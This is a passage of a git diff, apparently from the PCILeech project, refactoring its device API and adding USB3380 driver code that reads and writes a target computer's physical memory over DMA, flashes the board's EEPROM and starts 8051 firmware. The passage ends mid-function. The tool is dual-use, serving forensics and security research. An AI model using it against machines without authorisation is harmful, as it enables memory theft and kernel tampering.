PCILEECH_MEM_FLAG_RETRYONFAIL 0x01 +#define PCILEECH_MEM_FLAG_VERIFYWRITE 0x02 /* -* Open a USB connection to the target USB3380 device. -* -- pDeviceData = ptr to DeviceData to receive values on success. +* Open a USB connection to the target device. +* -- ctx * -- result */ -BOOL DeviceOpen(_In_ PCONFIG pCfg, _Out_ PDEVICE_DATA pDeviceData); +BOOL DeviceOpen(_Inout_ PPCILEECH_CONTEXT ctx); /* -* Clean up various device related stuff and deallocate some meoory buffers. -* -- pDeviceData +* Clean up various device related stuff and deallocate memory buffers. +* -- ctx */ -VOID DeviceClose(_Inout_ PDEVICE_DATA pDeviceData); - -/* -* Flash a new firmware into the onboard memory of the USB3380 card. -* This may be dangerious and the device may stop working after a reflash! -* -- pDeviceData -* -- pbEEPROM = EEPROM data to flash. -* -- cbEEPROM = length of EEPROM data to flash. -* -- return -*/ -BOOL DeviceFlashEEPROM(_In_ PDEVICE_DATA pDeviceData, _In_ PBYTE pbEEPROM, _In_ DWORD cbEEPROM); - -/* -* Load a program into the 8051 CPU and start executing it. -* -- pDeviceData -* -- pbProgram8051 = the 8051 binary to execute. -* -- cbProgram8051 = the length of the 8051 binary to execute. -* -- return -*/ -BOOL Device8051Start(_In_ PDEVICE_DATA pDeviceData, _In_ PBYTE pbProgram8051, _In_ DWORD cbProgram8051); - -/* -* Stop the onboard 8051 CPU if its running. -* -- pDeviceData -*/ -VOID Device8051Stop(_In_ PDEVICE_DATA pDeviceData); +VOID DeviceClose(_Inout_ PPCILEECH_CONTEXT ctx); /* * Read data from the target system using DMA. -* -- pDeviceData -* -- qwAddr - max supported address = 0x100000000 - cb - (32-bit address space) +* -- ctx +* -- qwAddr * -- pb * -- cb * -- flags - supported flags: 0, PCILEECH_MEM_FLAG_RETRYONFAIL * -- return */ -BOOL DeviceReadDMA(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags); +BOOL DeviceReadDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags); /* * Write data to the target system using DMA. -* -- pDeviceData -* -- qwAddr - max supported address = 0x100000000 - cb - (32-bit address space) +* -- ctx +* -- qwAddr * -- pb * -- cb -* -- flags - supported flags: 0, PCILEECH_MEM_FLAG_RETRYONFAIL +* -- flags - supported flags: 0, PCILEECH_MEM_FLAG_RETRYONFAIL, PCILEECH_MEM_FLAG_VERIFYWRITE * -- return */ -BOOL DeviceWriteDMA(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags); - -/* -* First write data using DMA, then verify the data has been correctly written -* by reading the data. NB! If the running target system changes the data -* between the write and the read this call will fail. -* -- pDeviceData -* -- qwAddr - max supported address = 0x100000000 - cb - (32-bit address space) -* -- pb -* -- cb -* -- flags - supported flags: 0, PCILEECH_MEM_FLAG_RETRYONFAIL -* -- return -*/ -BOOL DeviceWriteDMAVerify(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags); +BOOL DeviceWriteDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags); /* * Write target physical memory. If an KMD is inserted in the target kernel the -* KMD will be used to read the memory, otherwise the memory will be written -* withstandard DMA. Minimum granularity: byte. -* -- pDeviceData +* KMD will be used to write the memory, otherwise the memory will be written +* with standard DMA. Minimum granularity: byte. +* -- ctx * -- qwAddress = the physical address to write to in the target system. * -- pb = bytes to write * -- cb = number of bytes to write. * -- flags - supported flags: 0, PCILEECH_MEM_FLAG_RETRYONFAIL * -- return */ -BOOL DeviceWriteMEM(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags); +BOOL DeviceWriteMEM(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags); /* * Read target physical memory. If an KMD is inserted in the target kernel the * KMD will be used to read the memory, otherwise the memory will be read with * standard DMA. Minimum granularity: page (4kB) -* -- pDeviceData +* -- ctx * -- qwAddress = physical address in target system to read. * -- pb = pre-allocated buffer to place result in. * -- cb = length of data to read, must not be larger than pb. * -- flags - supported flags: 0, PCILEECH_MEM_FLAG_RETRYONFAIL * -- return */ -BOOL DeviceReadMEM(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags); +BOOL DeviceReadMEM(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags); #endif /* __DEVICE_H__ */ \ No newline at end of file diff --git a/pcileech/device3380.c b/pcileech/device3380.c new file mode 100644 index 0000000..f2ea556 --- /dev/null +++ b/pcileech/device3380.c @@ -0,0 +1,505 @@ +// device.c : implementation related to the USB3380 hardware device. +// +// (c) Ulf Frisk, 2017 +// Author: Ulf Frisk, pcileech@frizk.net +// +#include "device3380.h" +#include "device.h" +#include + +// Device Interface GUID. Must match "DeviceInterfaceGUIDs" registry value specified in the INF file. +// F72FE0D4-CBCB-407d-8814-9ED673D0DD6B +DEFINE_GUID(GUID_DEVINTERFACE_android, 0xF72FE0D4, 0xCBCB, 0x407d, 0x88, 0x14, 0x9E, 0xD6, 0x73, 0xD0, 0xDD, 0x6B); + +#define CSR_BYTE0 0x01 +#define CSR_BYTE1 0x02 +#define CSR_BYTE2 0x04 +#define CSR_BYTE3 0x08 +#define CSR_BYTEALL 0x0f +#define CSR_CONFIGSPACE_PCIE 0x00 +#define CSR_CONFIGSPACE_MEMM 0x10 +#define CSR_CONFIGSPACE_8051 0x20 +#define REG_USBSTAT 0x90 +#define REG_USBCTL2 0xc8 +#define REG_DMACTL_0 0x180 +#define REG_DMASTAT_0 0x184 +#define REG_DMACOUNT_0 0x190 +#define REG_DMAADDR_0 0x194 +#define REG_FIFOSTAT_0 0x32c +#define REG_DMACTL_1 0x1a0 +#define REG_DMASTAT_1 0x1a4 +#define REG_DMACOUNT_1 0x1b0 +#define REG_DMAADDR_1 0x1b4 +#define REG_DMACTL_2 0x1c0 +#define REG_DMASTAT_2 0x1c4 +#define REG_DMACOUNT_2 0x1d0 +#define REG_DMAADDR_2 0x1d4 +#define REG_DMACTL_3 0x1e0 +#define REG_DMASTAT_3 0x1e4 +#define REG_DMACOUNT_3 0x1f0 +#define REG_DMAADDR_3 0x1f4 +#define REG_PCI_STATCMD 0x04 +#define USB_EP_PCIIN 0x8e +#define USB_EP_PCIOUT 0x0e +#define USB_EP_CSRIN 0x8d +#define USB_EP_CSROUT 0x0d +#define USB_EP_DMAOUT 0x02 +#define USB_EP_DMAIN1 0x84 +#define USB_EP_DMAIN2 0x86 +#define USB_EP_DMAIN3 0x88 + +typedef struct _DEVICE_DATA { + BOOL HandlesOpen; + BOOL IsAllowedMultiThreadDMA; + QWORD MaxSizeDmaIo; + WINUSB_INTERFACE_HANDLE WinusbHandle; + HANDLE DeviceHandle; + WCHAR DevicePath[MAX_PATH]; +} DEVICE_DATA, *PDEVICE_DATA; + +#pragma pack(push, 1) /* DISABLE STRUCT PADDINGS (REENABLE AFTER STRUCT DEFINITIONS) */ +typedef struct tdPipeSendCsrWrite { + UCHAR u1; + UCHAR u2; + UCHAR u3; + UCHAR u4; + DWORD dwRegValue; +} PIPE_SEND_CSR_WRITE; +#pragma pack(pop) /* RE-ENABLE STRUCT PADDINGS */ + +typedef struct tdEP_INFO { + UCHAR pipe; + WORD rCTL; + WORD rSTAT; + WORD rCOUNT; + WORD rADDR; +} EP_INFO, *PEP_INFO; + +EP_INFO CEP_INFO[3] = { + { .pipe = USB_EP_DMAIN1,.rCTL = REG_DMACTL_1,.rSTAT = REG_DMASTAT_1,.rCOUNT = REG_DMACOUNT_1,.rADDR = REG_DMAADDR_1 }, + { .pipe = USB_EP_DMAIN2,.rCTL = REG_DMACTL_2,.rSTAT = REG_DMASTAT_2,.rCOUNT = REG_DMACOUNT_2,.rADDR = REG_DMAADDR_2 }, + { .pipe = USB_EP_DMAIN3,.rCTL = REG_DMACTL_3,.rSTAT = REG_DMASTAT_3,.rCOUNT = REG_DMACOUNT_3,.rADDR = REG_DMAADDR_3 } +}; + +typedef struct tdThreadDataReadEP { + PDEVICE_DATA pDeviceData; + QWORD qwAddr; + PBYTE pb; + DWORD cb; + BOOL isFinished; + BOOL result; + PEP_INFO pep; +} THREAD_DATA_READ_EP, *PTHREAD_DATA_READ_EP; + +typedef struct _DEVICE_MEMORY_RANGE { + DWORD BaseAddress; + DWORD TopAddress; +} DEVICE_MEMORY_RANGE, *PDEVICE_MEMORY_RANGE; + +#define NUMBER_OF_DEVICE_RESERVED_MEMORY_RANGES 2 +DEVICE_MEMORY_RANGE CDEVICE_RESERVED_MEMORY_RANGES[NUMBER_OF_DEVICE_RESERVED_MEMORY_RANGES] = { + { .BaseAddress = 0x000A0000,.TopAddress = 0x000FFFFF }, // SMM LOWER + { .BaseAddress = 0xF0000000,.TopAddress = 0xFFFFFFFF }, // PCI SPACE +}; + +BOOL Device3380_IsInReservedMemoryRange(_In_ QWORD qwAddr, _In_ DWORD cb) +{ + PDEVICE_MEMORY_RANGE pmr; + for(DWORD i = 0; i < NUMBER_OF_DEVICE_RESERVED_MEMORY_RANGES; i++) { + pmr = &CDEVICE_RESERVED_MEMORY_RANGES[i]; + if(!((qwAddr > pmr->TopAddress) || (qwAddr + cb <= pmr->BaseAddress))) { + return TRUE; + } + } + return FALSE; +} + +BOOL Device3380_WriteCsr(_In_ PDEVICE_DATA pDeviceData, _In_ WORD wRegAddr, _In_ DWORD dwRegValue, _In_ BYTE fCSR) +{ + DWORD cbTransferred; + PIPE_SEND_CSR_WRITE ps = { .u1 = fCSR | 0x40, .u2 = 0, .u3 = wRegAddr & 0xFF, .u4 = (wRegAddr >> 8) & 0xFF, .dwRegValue = dwRegValue }; + if(wRegAddr & 0x03) { return FALSE; } // must be dword aligned + return WinUsb_WritePipe(pDeviceData->WinusbHandle, USB_EP_CSROUT, (PUCHAR)&ps, sizeof(ps), &cbTransferred, NULL); +} + +BOOL Device3380_ReadCsr(_In_ PDEVICE_DATA pDeviceData, _In_ WORD wRegAddr, _Out_ PDWORD pdwRegValue, _In_ BYTE fCSR) +{ + DWORD cbTransferred; + PIPE_SEND_CSR_WRITE ps = { .u1 = fCSR | 0xcf, .u2 = 0, .u3 = wRegAddr & 0xff, .u4 = (wRegAddr >> 8) & 0xff, .dwRegValue = 0 }; + if(wRegAddr & 0x03) { return FALSE; } // must be dword aligned + return + WinUsb_WritePipe(pDeviceData->WinusbHandle, USB_EP_CSROUT, (PUCHAR)&ps, sizeof(ps), &cbTransferred, NULL) && + WinUsb_ReadPipe(pDeviceData->WinusbHandle, USB_EP_CSRIN, (PUCHAR)pdwRegValue, 4, &cbTransferred, NULL); +} + +BOOL Device3380_ReadDMA_Retry(PTHREAD_DATA_READ_EP ptd) +{ + BOOL result; + DWORD cbTransferred; + Device3380_WriteCsr(ptd->pDeviceData, ptd->pep->rCTL, 0xc2, CSR_CONFIGSPACE_MEMM | CSR_BYTE0); // DMA_ENABLE + Device3380_WriteCsr(ptd->pDeviceData, ptd->pep->rADDR, (DWORD)ptd->qwAddr, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_ADDRESS + Device3380_WriteCsr(ptd->pDeviceData, ptd->pep->rCOUNT, 0x40000000 | ptd->cb, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_COUNT + Device3380_WriteCsr(ptd->pDeviceData, ptd->pep->rSTAT, 0x080000c1, CSR_CONFIGSPACE_MEMM | CSR_BYTE0 | CSR_BYTE3); // DMA_START & DMA_CLEAR_ABORT + Device3380_WriteCsr(ptd->pDeviceData, REG_PCI_STATCMD, 0x07, CSR_CONFIGSPACE_PCIE | CSR_BYTE0); // BUS_MASTER ??? needed ??? + result = WinUsb_ReadPipe(ptd->pDeviceData->WinusbHandle, ptd->pep->pipe, ptd->pb, ptd->cb, &cbTransferred, NULL); + return result; +} + +VOID Device3380_ReadDMA2(PTHREAD_DATA_READ_EP ptd) +{ + DWORD dwTimeout, cbTransferred; + if(ptd->cb > ptd->pDeviceData->MaxSizeDmaIo) { + ptd->result = FALSE; + ptd->isFinished = TRUE; + return; + } + // set EP timeout value on conservative usb2 assumptions (3 parallel reads, 35MB/s total speed) + // (XMB * 1000 * 3) / (35 * 1024 * 1024) -> 0x2fc9 ~> 0x3000 :: 4k->64ms, 5.3M->520ms + dwTimeout = 64 + ptd->cb / 0x3000; + WinUsb_SetPipePolicy(ptd->pDeviceData->WinusbHandle, ptd->pep->pipe, PIPE_TRANSFER_TIMEOUT, (ULONG)sizeof(BOOL), &dwTimeout); + // perform memory read + Device3380_WriteCsr(ptd->pDeviceData, ptd->pep->rADDR, (DWORD)ptd->qwAddr, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_ADDRESS + Device3380_WriteCsr(ptd->pDeviceData, ptd->pep->rCOUNT, 0x40000000 | ptd->cb, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_COUNT + Device3380_WriteCsr(ptd->pDeviceData, ptd->pep->rSTAT, 0x080000c1, CSR_CONFIGSPACE_MEMM | CSR_BYTE0 | CSR_BYTE3); // DMA_START & DMA_CLEAR_ABORT + ptd->result = WinUsb_ReadPipe(ptd->pDeviceData->WinusbHandle, ptd->pep->pipe, ptd->pb, ptd->cb, &cbTransferred, NULL); + if(!ptd->result) { + ptd->result = Device3380_ReadDMA_Retry(ptd); + } + ptd->isFinished = TRUE; +} + +BOOL Device3380_ReadDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb) +{ + THREAD_DATA_READ_EP td[3]; + DWORD i, dwChunk; + PDEVICE_DATA pDeviceData = (PDEVICE_DATA)ctx->hDevice; + if(cb % 0x1000) { return FALSE; } + if(cb > 0x01000000) { return FALSE; } + if(qwAddr + cb > 0x100000000) { return FALSE; } + if(Device3380_IsInReservedMemoryRange(qwAddr, cb) && !ctx->cfg->fForceRW) { return FALSE; } + ZeroMemory(td, sizeof(THREAD_DATA_READ_EP) * 3); + if(cb < 0x3000 || !pDeviceData->IsAllowedMultiThreadDMA) { + if(cb > 0x00800000) { // read max 8MB at a time. + return + Device3380_ReadDMA(ctx, qwAddr, pb, 0x00800000) && + Device3380_ReadDMA(ctx, qwAddr + 0x00800000, pb + 0x00800000, cb - 0x00800000); + } + td[0].pDeviceData = pDeviceData; + td[0].pep = &CEP_INFO[0]; + td[0].qwAddr = qwAddr; + td[0].pb = pb; + td[0].cb = cb; + Device3380_ReadDMA2(&td[0]); + return td[0].result; + } else { + dwChunk = (cb / 3) & 0xfffff000; + for(i = 0; i < 3; i++) { + td[i].pDeviceData = pDeviceData; + td[i].pep = &CEP_INFO[i]; + td[i].qwAddr = qwAddr; qwAddr += dwChunk; + td[i].pb = pb; pb += dwChunk; + if(i == 2) { + td[i].cb = cb - 2 * dwChunk; + Device3380_ReadDMA2(&td[i]); + } + else { + td[i].cb = dwChunk; + CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Device3380_ReadDMA2, &td[i], 0, NULL); + } + } + while(!td[0].isFinished || !td[1].isFinished || !td[2].isFinished) { + SwitchToThread(); + } + return td[0].result && td[1].result && td[2].result; + } +} + +BOOL Device3380_WriteDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb) +{ + BOOL result; + DWORD cbTransferred; + PDEVICE_DATA pDeviceData = (PDEVICE_DATA)ctx->hDevice; + if(qwAddr + cb > 0x100000000) { return FALSE; } + Device3380_WriteCsr(pDeviceData, REG_FIFOSTAT_0, 0xffffffff, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // USB_FIFO0 FLUSH + Device3380_WriteCsr(pDeviceData, REG_DMACTL_0, 0xc2, CSR_CONFIGSPACE_MEMM | CSR_BYTE0); // DMA_ENABLE + Device3380_WriteCsr(pDeviceData, REG_DMAADDR_0, (DWORD)qwAddr, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_ADDRESS + Device3380_WriteCsr(pDeviceData, REG_DMACOUNT_0, 0x00000000 | cb, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_COUNT + Device3380_WriteCsr(pDeviceData, REG_DMASTAT_0, 0x080000d1, CSR_CONFIGSPACE_MEMM | CSR_BYTE0 | CSR_BYTE3); // DMA_START & DMA_CLEAR_ABORT + Device3380_WriteCsr(pDeviceData, REG_PCI_STATCMD, 0x07, CSR_CONFIGSPACE_PCIE | CSR_BYTE0); // BUS_MASTER ??? needed ??? + result = WinUsb_WritePipe(pDeviceData->WinusbHandle, USB_EP_DMAOUT, pb, cb, &cbTransferred, NULL); + Device3380_WriteCsr(pDeviceData, REG_DMASTAT_0, 0x080000d1, CSR_CONFIGSPACE_MEMM | CSR_BYTE0 | CSR_BYTE3); // DMA_START & DMA_CLEAR_ABORT - must be here for 1st transfer to work. + return result; +} + +BOOL Device3380_WriteDMAVerify(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags) +{ + PBYTE pbV; + BOOL result = DeviceWriteDMA(ctx, qwAddr, pb, cb, flags); + if(!result) { return FALSE; } + pbV = LocalAlloc(0, cb + 0x2000); + if(!pbV) { return FALSE; } + result = + DeviceReadDMA(ctx, qwAddr & ~0xfff, pbV, (cb + 0xfff + (qwAddr & 0xfff)) & ~0xfff, flags) && + (0 == memcmp(pb, pbV + (qwAddr & 0xfff), cb)); + LocalFree(pbV); + return result; +} + +BOOL Device3380_8051Start(_Inout_ PPCILEECH_CONTEXT ctx, _In_ PBYTE pbProgram8051, _In_ DWORD cbProgram8051) +{ + WORD wAddr = 0; + DWORD dwWriteValue; + PDEVICE_DATA pDeviceData = (PDEVICE_DATA)ctx->hDevice; + if(!pbProgram8051 || !cbProgram8051 || cbProgram8051 > 0x7FFF) { return FALSE; } + while(wAddr < cbProgram8051) { + dwWriteValue = *(DWORD*)(pbProgram8051 + wAddr); // TODO: may read out-of-buffer by max 3 bytes + Device3380_WriteCsr(pDeviceData, wAddr, dwWriteValue, CSR_CONFIGSPACE_8051 | CSR_BYTEALL); // write 8051 program memory (page 253). + Device3380_ReadCsr(pDeviceData, wAddr, &dwWriteValue, CSR_CONFIGSPACE_8051); + wAddr += 4; + } + Device3380_ReadCsr(pDeviceData, 0x00, &dwWriteValue, CSR_CONFIGSPACE_MEMM); // enable 8051 + dwWriteValue &= 0xFE; + Device3380_WriteCsr(pDeviceData, 0x00, dwWriteValue, CSR_CONFIGSPACE_MEMM | CSR_BYTE0); //DEVINIT - START 8051 + return TRUE; +} + +VOID Device3380_8051Stop(_Inout_ PPCILEECH_CONTEXT ctx) +{ + DWORD dwWriteValue; + Device3380_ReadCsr((PDEVICE_DATA)ctx->hDevice, 0x00, &dwWriteValue, CSR_CONFIGSPACE_MEMM); + dwWriteValue |= 0x01; + Device3380_WriteCsr((PDEVICE_DATA)ctx->hDevice, 0x00, dwWriteValue, CSR_CONFIGSPACE_MEMM | CSR_BYTE0); +} + +BOOL Device3380_FlashEEPROM(_Inout_ PPCILEECH_CONTEXT ctx, _In_ PBYTE pbEEPROM, _In_ DWORD cbEEPROM) +{ + WORD wAddr = 0; + DWORD dwWriteValue; + PDEVICE_DATA pDeviceData = (PDEVICE_DATA)ctx->hDevice; + if(cbEEPROM < 3 || cbEEPROM > 0x7FFF) { + return FALSE; // too small or too large for 2 byte addressing mode + } + while(wAddr < cbEEPROM) { + // initialize EEPROM for writing + Device3380_WriteCsr(pDeviceData, 0x260, 0x0000c000, CSR_CONFIGSPACE_PCIE | CSR_BYTE1); // write enable + Device3380_WriteCsr(pDeviceData, 0x260, 0x00000000, CSR_CONFIGSPACE_PCIE | CSR_BYTE1); // off + // write data + dwWriteValue = *(DWORD*)(pbEEPROM + wAddr); + Device3380_WriteCsr(pDeviceData, 0x264, dwWriteValue, CSR_CONFIGSPACE_PCIE | CSR_BYTEALL); + // write control register and wait for action to finish + dwWriteValue = 0x03004000 | (wAddr >> 2); + Device3380_WriteCsr(pDeviceData, 0x260, dwWriteValue, CSR_CONFIGSPACE_PCIE | CSR_BYTE0 | CSR_BYTE1 | CSR_BYTE3); // write serial EEPROM buffer (page 250). + while(dwWriteValue & 0xFF000000) { // wait write finish + Device3380_ReadCsr(pDeviceData, 0x260, &dwWriteValue, CSR_CONFIGSPACE_PCIE); + } + wAddr += 4; + } + return TRUE; +} + +BOOL Device3380_RetrievePath(_Out_bytecap_(BufLen) LPWSTR wszDevicePath, _In_ ULONG BufLen) +{ + BOOL result; + HDEVINFO deviceInfo; + SP_DEVICE_INTERFACE_DATA interfaceData; + PSP_DEVICE_INTERFACE_DETAIL_DATA detailData = NULL; + ULONG length, requiredLength = 0; + deviceInfo = SetupDiGetClassDevs(&GUID_DEVINTERFACE_android, NULL, NULL, DIGCF_PRESENT | DIGCF_DEVICEINTERFACE); + if(deviceInfo == INVALID_HANDLE_VALUE) { + return FALSE; + } + interfaceData.cbSize = sizeof(SP_DEVICE_INTERFACE_DATA); + result = SetupDiEnumDeviceInterfaces(deviceInfo, NULL, &GUID_DEVINTERFACE_android, 0, &interfaceData); + if(!result) { + SetupDiDestroyDeviceInfoList(deviceInfo); + return FALSE; + } + result = SetupDiGetDeviceInterfaceDetail(deviceInfo, &interfaceData, NULL, 0, &requiredLength, NULL); + if(!result && ERROR_INSUFFICIENT_BUFFER != GetLastError()) { + SetupDiDestroyDeviceInfoList(deviceInfo); + return FALSE; + } + detailData = (PSP_DEVICE_INTERFACE_DETAIL_DATA)LocalAlloc(LMEM_FIXED, requiredLength); + if(!detailData) { + SetupDiDestroyDeviceInfoList(deviceInfo); + return FALSE; + } + detailData->cbSize = sizeof(SP_DEVICE_INTERFACE_DETAIL_DATA); + length = requiredLength; + result = SetupDiGetDeviceInterfaceDetail(deviceInfo, &interfaceData, detailData, length, &requiredLength, NULL); + if(!result) { + LocalFree(detailData); + SetupDiDestroyDeviceInfoList(deviceInfo); + return FALSE; + } + wcscpy_s(wszDevicePath, BufLen, (LPWSTR)detailData->DevicePath); + LocalFree(detailData); + SetupDiDestroyDeviceInfoList(deviceInfo); + return TRUE; +} + +VOID Device3380_Open_SetPipePolicy(_In_ PDEVICE_DATA pDeviceData) +{ + BOOL boolTRUE = TRUE; + ULONG ulTIMEOUT = 500; // ms + WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, USB_EP_DMAOUT, AUTO_CLEAR_STALL, (ULONG)sizeof(BOOL), &boolTRUE); + WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, USB_EP_DMAOUT, PIPE_TRANSFER_TIMEOUT, (ULONG)sizeof(BOOL), &ulTIMEOUT); + WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, USB_EP_DMAIN1, AUTO_CLEAR_STALL, (ULONG)sizeof(BOOL), &boolTRUE); + WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, USB_EP_DMAIN1, PIPE_TRANSFER_TIMEOUT, (ULONG)sizeof(BOOL), &ulTIMEOUT); + WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, USB_EP_DMAIN2, AUTO_CLEAR_STALL, (ULONG)sizeof(BOOL), &boolTRUE); + WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, USB_EP_DMAIN2, PIPE_TRANSFER_TIMEOUT, (ULONG)sizeof(BOOL), &ulTIMEOUT); + WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, USB_EP_DMAIN3, AUTO_CLEAR_STALL, (ULONG)sizeof(BOOL), &boolTRUE); + WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, USB_EP_DMAIN3, PIPE_TRANSFER_TIMEOUT, (ULONG)sizeof(BOOL), &ulTIMEOUT); +} + +BOOL Device3380_Open2(_Inout_ PPCILEECH_CONTEXT ctx) +{ + BOOL result; + PDEVICE_DATA pDeviceData; + if(!ctx->hDevice) { + ctx->hDevice = (HANDLE)LocalAlloc(LMEM_ZEROINIT, sizeof(DEVICE_DATA)); + if(!ctx->hDevice) { return FALSE; } + } + pDeviceData = (PDEVICE_DATA)ctx->hDevice; + result = Device3380_RetrievePath(pDeviceData->DevicePath, MAX_PATH); + if(!result) { return FALSE; } + pDeviceData->DeviceHandle = CreateFile(pDeviceData->DevicePath, + GENERIC_WRITE | GENERIC_READ, + FILE_SHARE_WRITE | FILE_SHARE_READ, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, + NULL); + if(INVALID_HANDLE_VALUE == pDeviceData->DeviceHandle) { + return FALSE; + } + result = WinUsb_Initialize(pDeviceData->DeviceHandle, &pDeviceData->WinusbHandle); + if(!result) { + CloseHandle(pDeviceData->DeviceHandle); + return FALSE; + } + Device3380_Open_SetPipePolicy(pDeviceData); + pDeviceData->HandlesOpen = TRUE; + pDeviceData->IsAllowedMultiThreadDMA = IsWindows8OrGreater(); // multi threaded DMA read fails on WIN7. + pDeviceData->MaxSizeDmaIo = ctx->cfg->qwMaxSizeDmaIo; + return TRUE; +} + +VOID Device3380_Close(_Inout_ PPCILEECH_CONTEXT ctx) +{ + PDEVICE_DATA pDeviceData = (PDEVICE_DATA)ctx->hDevice; + if(!pDeviceData) { return; } + if(!pDeviceData->HandlesOpen) { return; } + WinUsb_Free(pDeviceData->WinusbHandle); + CloseHandle(pDeviceData->DeviceHandle); + pDeviceData->HandlesOpen = FALSE; + LocalFree(ctx->hDevice); + ctx->hDevice = 0; +} + +BOOL Device3380_Open(_Inout_ PPCILEECH_CONTEXT ctx) +{ + BOOL result; + DWORD dwReg; + result = Device3380_Open2(ctx); + if(!result) { return FALSE; } + Device3380_ReadCsr((PDEVICE_DATA)ctx->hDevice, REG_USBSTAT, &dwReg, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); + if(ctx->cfg->fForceUsb2 && (dwReg & 0x0100 /* Super-Speed(USB3) */)) { + printf("Device Info: Device running at USB3 speed; downgrading to USB2 ...\n"); + dwReg = 0x04; // USB2=ENABLE, USB3=DISABLE + Device3380_WriteCsr((PDEVICE_DATA)ctx->hDevice, REG_USBCTL2, dwReg, CSR_CONFIGSPACE_MEMM | CSR_BYTE0); + Device3380_Close(ctx); + Sleep(1000); + result = Device3380_Open2(ctx); + if(!result) { return FALSE; } + Device3380_ReadCsr((PDEVICE_DATA)ctx->hDevice, REG_USBSTAT, &dwReg, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); + } + if(dwReg & 0xc0 /* Full-Speed(USB1)|High-Speed(USB2) */) { + printf("Device Info: Device running at USB2 speed.\n"); + } else if(ctx->cfg->fVerbose) { + printf("Device Info: Device running at USB3 speed.\n"); + } + if(ctx->cfg->fVerbose) { printf("Device Info: USB3380.\n"); } + return TRUE; +} + +VOID Action_Device3380_Flash(_Inout_ PPCILEECH_CONTEXT ctx) +{ + BOOL result; + if(ctx->cfg->tpDevice != PCILEECH_DEVICE_USB3380) { + printf("Flash failed: unsupported device.\n"); + return; + } + printf("Flashing firmware ... \n"); + if(!ctx->cfg->cbIn || ctx->cfg->cbIn > 32768) { + printf("Flash failed: failed to open file or invalid size\n"); + return; + } + if(!ctx->cfg->fForceRW && (ctx->cfg->pbIn[0] != 0x5a || *(WORD*)(ctx->cfg->pbIn + 2) > (DWORD)ctx->cfg->cbIn - 1)) { + printf("Flash failed: invalid firmware signature or size\n"); + return; + } + result = Device3380_FlashEEPROM(ctx, ctx->cfg->pbIn, (DWORD)ctx->cfg->cbIn); + if(!result) { + printf("Flash failed: failed to write firmware to device\n"); + return; + } + printf("SUCCESS!\n"); +} + +VOID Action_Device3380_8051Start(_Inout_ PPCILEECH_CONTEXT ctx) +{ + BOOL result; + if(ctx->cfg->tpDevice != PCILEECH_DEVICE_USB3380) { + printf("8051 startup failed: unsupported device.\n"); + return; + } + printf("Loading 8051 executable and starting ... \n"); + if(!ctx->cfg->cbIn || ctx->cfg->cbIn > 32768) { + printf("8051 startup failed: failed to open file or invalid size\n"); + return; + } + result = Device3380_8051Start(ctx, ctx->cfg->pbIn, (DWORD)ctx->cfg->cbIn); + if(!result) { + printf("8051 startup failed: failed to write executable to device or starting 8051\n"); + return; + } + printf("SUCCESS!\n"); +} + +VOID Action_Device3380_8051Stop(_Inout_ PPCILEECH_CONTEXT ctx) +{ + if(ctx->cfg->tpDevice != PCILEECH_DEVICE_USB3380) { + printf("Stopping 8051 failed: unsupported device.\n"); + return; + } + printf("Stopping 8051 ... \n"); + Device3380_8051Stop(ctx); + printf("SUCCESS!\n"); +} + +BOOL DevicePciOutWriteDma(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb) +{ + DWORD cbTransferred; + BYTE data[4 + 4 + 64 * 4]; + if(((cb % 4) != 0) || (cb > 256)) { return FALSE; } + if((qwAddr & 0x03) || ((qwAddr + cb) > 0x100000000)) { return FALSE; } + *(PDWORD)(data + 0) = 0x0000004f | (cb >> 2) << 24; + *(PDWORD)(data + 4) = (DWORD)qwAddr; + memcpy(data + 8, pb, cb); + return WinUsb_WritePipe(pDeviceData->WinusbHandle, USB_EP_PCIOUT, data, 8 + cb, &cbTransferred, NULL); +} + +BOOL DevicePciInReadDma(_In_ 